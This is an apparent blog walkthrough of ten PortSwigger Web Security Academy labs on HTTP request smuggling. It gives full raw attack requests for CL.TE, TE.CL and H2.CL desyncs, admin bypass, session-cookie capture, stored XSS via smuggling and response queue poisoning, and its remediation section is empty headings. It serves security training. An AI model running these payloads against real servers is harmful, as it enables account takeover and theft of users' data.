November 1, 2026
HTTP Request Smuggling: Complete PortSwigger Web Security Academy Labs (1-10)
π Introduction
By MiraΓ§ Aral
7 min read
π Introduction
HTTP Request Smuggling is widely recognized as one of the most critical, elusive, and architecturally complex vulnerability classes in modern web security. The issue arises from discrepancies between how front-end reverse proxies / load balancers and back-end origin servers delineate request boundaries across shared TCP connections.
In HTTP/1.1, two standard headers define the boundary and length of an HTTP message body:
Content-Length(CL): Explicitly specifies the exact payload size in bytes.Transfer-Encoding: chunked(TE): Specifies that the message body is transferred in self-delimiting chunks, ending with a zero-length chunk (0\r\n\r\n).
When intermediary reverse proxies and back-end origin servers prioritize different headers when both are present, an attacker can craft an ambiguous request. The front-end forwards the payload as a single request, while the back-end interprets it as two separate requests. The unparsed remainder remains in the back-end connection buffer and prepends itself to the next incoming customer request.
In this guide, we break down all 10 PortSwigger Web Security Academy Request Smuggling labs, explaining the mathematics, protocol mechanics, weaponization paths, and remediation strategies.
π§° Laboratory Toolkit & Setup
Burp Suite Professional
Raw HTTP request crafting, Repeater manipulation, and Hex inspector
HTTP Request Smuggler Extension
Automated desync testing and differential probing
Raw Sockets / cURL
Verification of strict byte streams
[!IMPORTANT] When using Burp Suite Repeater for request smuggling, you must disable the "Update Content-Length" toggle in the Repeater menu. Otherwise, Burp will dynamically recalculate the
Content-Lengthheader on every transmission, destroying the deliberate desync payload.
π¬ Core Desynchronization Primitives
βββββββββββββββββββ βββββββββββββββββββ β β Single Request β β β Front-End Proxy βββββββββββββββββββΆβ Back-End Origin β β (Reverse Proxy) β β (Application) β β β Actual Content: β β β Prioritizes CL β 2 Requests! β Prioritizes TE β βββββββββββββββββββ ββββββββββββββββββββββββββββββββββββββ βββββββββββββββββββ β β Single Request β β β Front-End Proxy βββββββββββββββββββΆβ Back-End Origin β β (Reverse Proxy) β β (Application) β β β Actual Content: β β β Prioritizes CL β 2 Requests! β Prioritizes TE β βββββββββββββββββββ βββββββββββββββββββTypeFront-End PriorityBack-End PriorityVulnerability Mechanism
CL.TEContent-LengthTransfer-Encoding
Front-end reads body based on CL; back-end stops reading at the 0 chunk. Remainder is prepended to next request.
TE.CLTransfer-EncodingContent-Length
Front-end processes full chunked body; back-end reads only up to CL byte limit. Remainder desynchronizes pipeline.
π§ͺ Lab 1: Confirming CL.TE Vulnerability via Differential Responses
Objective: Prove that the front-end prioritizes Content-Length while the back-end prioritizes Transfer-Encoding.
Attack Payload
POST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 35 Transfer-Encoding: chunked 0 GET /404 HTTP/1.1 X-Ignore: XPOST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 35 Transfer-Encoding: chunked 0 GET /404 HTTP/1.1 X-Ignore: XThe Mathematics of Bytes (Why 35 vs 39 Matters)
Every line break in raw HTTP/1.1 consists of two hidden bytes: Carriage Return (\r, ASCII 0x0D) and Line Feed (\n, ASCII 0x0A). Calculating the body length:
0\r\n -> 3 bytes \r\n -> 2 bytes (End of chunked transfer) GET /404 HTTP/1.1\r\n -> 19 bytes X-Ignore: X -> 11 bytes (No trailing \r\n) ββββββββββββββββββββββββββββββββββββββββ Total = 35 bytes0\r\n -> 3 bytes \r\n -> 2 bytes (End of chunked transfer) GET /404 HTTP/1.1\r\n -> 19 bytes X-Ignore: X -> 11 bytes (No trailing \r\n) ββββββββββββββββββββββββββββββββββββββββ Total = 35 bytesWhat Happens if You Send Content-Length: 39?
- The front-end proxy expects 39 bytes.
- It receives only 35 bytes from our socket.
- The front-end holds the TCP socket open waiting for the remaining 4 bytes until the connection encounters a Socket Timeout (HTTP 504 / 500). The request is never dispatched to the back-end!
- Key Rule: We never deceive the front-end on byte counts. We state the exact size so it transmits the full payload to the back-end.
Execution
Sending this payload twice in rapid succession poisons the back-end queue. The second request prepends GET /404 HTTP/1.1, yielding an immediate 404 Not Found on a standard root request.
π§ͺ Lab 2: Confirming TE.CL Vulnerability via Differential Responses
Objective: Exploit an infrastructure where the front-end honors Transfer-Encoding and the back-end honors Content-Length.
Attack Payload
POST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked 5e POST /404 HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0POST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked 5e POST /404 HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0Execution Flow
- Front-End: Evaluates
Transfer-Encoding: chunked. Reads chunk5e(hex0x5e= 94 decimal bytes), followed by terminal chunk0. Forwards the complete payload to the back-end. - Back-End: Evaluates
Content-Length: 4. Consumes only the first 4 bytes (5e\r\n). - The remaining data (
POST /404 HTTP/1.1...) remains queued in the socket buffer. - The subsequent incoming request is mangled by the queued
POST /404, returning a404 Not Found.
π§ͺ Lab 3: Exploiting CL.TE to Bypass Front-End Security Controls
Objective: Bypass perimeter IP access restrictions to access /admin and delete user carlos.
Vulnerability Analysis
The /admin path is blocked by the front-end reverse proxy when accessed externally. However, the back-end trusts internal routing when Host: localhost is provided. Smuggled requests bypass front-end URL routing filters entirely.
Attack Payload
POST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 144 Transfer-Encoding: chunked 0 GET /admin/delete?username=carlos HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1POST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 144 Transfer-Encoding: chunked 0 GET /admin/delete?username=carlos HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1Result
The front-end routes the outer POST / request cleanly. The back-end parses the smuggled GET /admin/delete?username=carlos directly on the local socket with Host: localhost, successfully deleting user carlos.
π§ͺ Lab 4: Exploiting TE.CL to Bypass Front-End Security Controls
Objective: Achieve administrative access bypass using a TE.CL desync primitive.
Attack Payload
POST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-length: 4 Transfer-Encoding: chunked 87 GET /admin/delete?username=carlos HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0POST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-length: 4 Transfer-Encoding: chunked 87 GET /admin/delete?username=carlos HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0Execution Flow
Chunk size 87 (hex 0x87 = 135 bytes) encompasses the smuggled GET /admin/delete request. The front-end forwards the chunked message; the back-end consumes only 4 bytes ( 87\r\n), releasing the admin deletion command directly against the internal service.
π§ͺ Lab 5: Exploiting HTTP Request Smuggling to Reveal Front-End Request Rewriting
Objective: Steal an internal tracking header injected by the front-end proxy to spoof identity as an authorized local admin.
Step 1: Discovering Injected Headers
Reverse proxies routinely append headers such as X-Forwarded-For or proprietary routing tokens. By smuggling a request targeting a reflective search parameter with an inflated Content-Length, the back-end appends the next request's headers directly into the query body!
POST / HTTP/2 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 126 Transfer-Encoding: chunked 0 POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close search=testPOST / HTTP/2 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 126 Transfer-Encoding: chunked 0 POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close search=testReflected response output:
<h1>0 search results for 'testPOST / HTTP/1.1 X-JYlfMK-Ip: 198.51.100.24 Host: [lab-id].web-security-academy.net ...<h1>0 search results for 'testPOST / HTTP/1.1 X-JYlfMK-Ip: 198.51.100.24 Host: [lab-id].web-security-academy.net ...Identified internal header: X-JYlfMK-Ip.
Step 2: Exploitation with Header Spoofing
We forge the internal IP header in our smuggled administrative request:
POST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 166 Transfer-Encoding: chunked 0 GET /admin/delete?username=carlos HTTP/1.1 X-JYlfMK-Ip: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 10 Connection: close x=1POST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 166 Transfer-Encoding: chunked 0 GET /admin/delete?username=carlos HTTP/1.1 X-JYlfMK-Ip: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 10 Connection: close x=1The back-end validates X-JYlfMK-Ip: 127.0.0.1 and executes the deletion.
π§ͺ Lab 6: Capturing Other Users' Requests via Request Smuggling
Objective: Hijack sensitive session tokens from unsuspecting site visitors.
Vulnerability Analysis
If an application allows users to submit and store text (e.g., blog comment threads), we can smuggle a request that submits a comment while leaving its Content-Length intentionally oversized. The back-end satisfies the missing bytes by reading the incoming request of the next real visitor - capturing their cookies, session headers, and POST data directly into the public comment feed!
Attack Payload
POST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked Content-Length: 283 0 POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 960 Cookie: session=[attacker-session] csrf=[csrf-token]&postId=2&name=VictimCatcher&email=audit@domain.com&website=&comment=Exfiltrated:POST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked Content-Length: 283 0 POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 960 Cookie: session=[attacker-session] csrf=[csrf-token]&postId=2&name=VictimCatcher&email=audit@domain.com&website=&comment=Exfiltrated:Result
When an active administrator or user accesses the platform, their entire HTTP request is captured as the comment body. Refreshing the article page reveals:
Exfiltrated: GET / HTTP/1.1 Cookie: session=[REDACTED_SESSION_TOKEN] User-Agent: Mozilla/5.0...Exfiltrated: GET / HTTP/1.1 Cookie: session=[REDACTED_SESSION_TOKEN] User-Agent: Mozilla/5.0...We extract the administrator's session cookie for complete account takeover.
π§ͺ Lab 7: Exploiting Request Smuggling to Turn Reflected XSS into Stored XSS
Objective: Weaponize a non-interactive reflected XSS vulnerability against subsequent website visitors without user interaction or links.
Vulnerability Analysis
The target application reflects the User-Agent header value unsanitized on /post?postId=5. Normally, reflected XSS in a header cannot be exploited against third parties. Smuggling bypasses this restriction entirely.
Attack Payload
POST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 151 Transfer-Encoding: chunked 0 GET /post?postId=5 HTTP/1.1 User-Agent: "><script>alert(1)</script> Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1POST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 151 Transfer-Encoding: chunked 0 GET /post?postId=5 HTTP/1.1 User-Agent: "><script>alert(1)</script> Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1Result
The next innocent user making a request receives the reflected XSS payload rendered inside their browser context, executing alert(1) automatically without clicking any external link.
π§ͺ Lab 8: Advanced Cache Poisoning & Request Desynchronization
[!NOTE] Standard lab series variations at this tier explore Response Queue Poisoning or Web Cache Poisoning via Request Smuggling. When responses are cached based on the smuggled host or prefix, every user requesting a static asset (
/resources/js/tracking.js) receives the poisoned response from the cache.
π§ͺ Lab 9: Exploiting H2.CL Request Smuggling
Objective: Leverage HTTP/2 protocol downgrade to trigger client-side script execution via an external exploit server.
Vulnerability Analysis
When front-end load balancers accept modern HTTP/2 traffic but downgrade connections to HTTP/1.1 when communicating with back-end servers, ambiguities arise. In HTTP/2, request length is governed by binary frames. If an explicit Content-Length: 0 header is passed alongside a frame containing body data, the front-end ignores the header, but the back-end honors Content-Length: 0 upon downgrade.
Attack Payload (HTTP/2)
POST / HTTP/2 Host: [lab-id].web-security-academy.net Content-Length: 0 GET /resources HTTP/1.1 Host: [exploit-id].exploit-server.net Content-Length: 5 x=1POST / HTTP/2 Host: [lab-id].web-security-academy.net Content-Length: 0 GET /resources HTTP/1.1 Host: [exploit-id].exploit-server.net Content-Length: 5 x=1On our exploit server, /resources is configured to deliver our payload:
alert(document.cookie);alert(document.cookie);Result
The downgraded connection causes the subsequent user's request for internal resources to redirect to our exploit server, executing cookie exfiltration scripts in their browser.
π§ͺ Lab 10: Response Queue Poisoning via Request Smuggling
Objective: Completely desynchronize the back-end response queue to intercept foreign responses containing sensitive data.
Attack Payload
POST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 800 Transfer-Encoding: chunked 0 POST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 800 search=testPOST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 800 Transfer-Encoding: chunked 0 POST / HTTP/1.1 Host: [lab-id].web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 800 search=testResult
By sending a complete standalone smuggled request down a shared keep-alive connection, the back-end processes two requests for every one request processed by the front-end. The back-end response pipeline falls out of sync: User A receives User B's response, exposing private profile details, admin panels, and authentication tokens across clients.
π‘οΈ Robust Remediation & Architectural Defenses
Mitigating HTTP Request Smuggling requires strict protocol conformity across the entire infrastructure tier:
- Deploy End-to-End HTTP/2:
- Strict Disambiguation & Rejection:
- Header Normalization:
- Disable TCP Connection Reuse:
- Modern WAF Signatures:
π Summary of Labs & Techniques
π Conclusion
HTTP Request Smuggling represents the pinnacle of protocol-level exploitation. As web architectures grow increasingly distributed with layered caching tiers, load balancers, and CDNs, understanding the low-level parsing mechanics of HTTP/1.1 and HTTP/2 is paramount for both security researchers and DevOps engineers.
Originally published at https://www.miracaral.com.